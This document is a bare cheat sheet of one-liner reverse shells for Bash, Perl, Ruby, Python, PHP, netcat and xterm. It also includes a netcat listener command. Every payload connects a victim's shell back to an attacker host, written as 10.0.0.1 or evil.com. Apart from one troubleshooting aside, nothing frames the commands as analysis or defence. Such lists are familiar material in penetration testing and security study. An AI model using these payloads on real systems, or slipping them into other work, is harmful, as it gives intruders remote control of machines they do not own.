One-liner reverse shells...


On the listener:

$ nc -l -p 8080 -vvv


On the remote host...


Bash:

$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1


$ exec 5<>/dev/tcp/evil.com/8080

$ cat <&5 | while read line; do $line 2>&5 >&5; done


Perl:

$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


Ruby:

$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Python:

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


PHP:

$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)


Netcat:


$ nc -e /bin/sh 10.0.0.1 1234


$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f


XTERM:

Server:

$ xterm -display 10.0.0.1:1

Listener:

$ Xnest :1

$ xhost +targetip
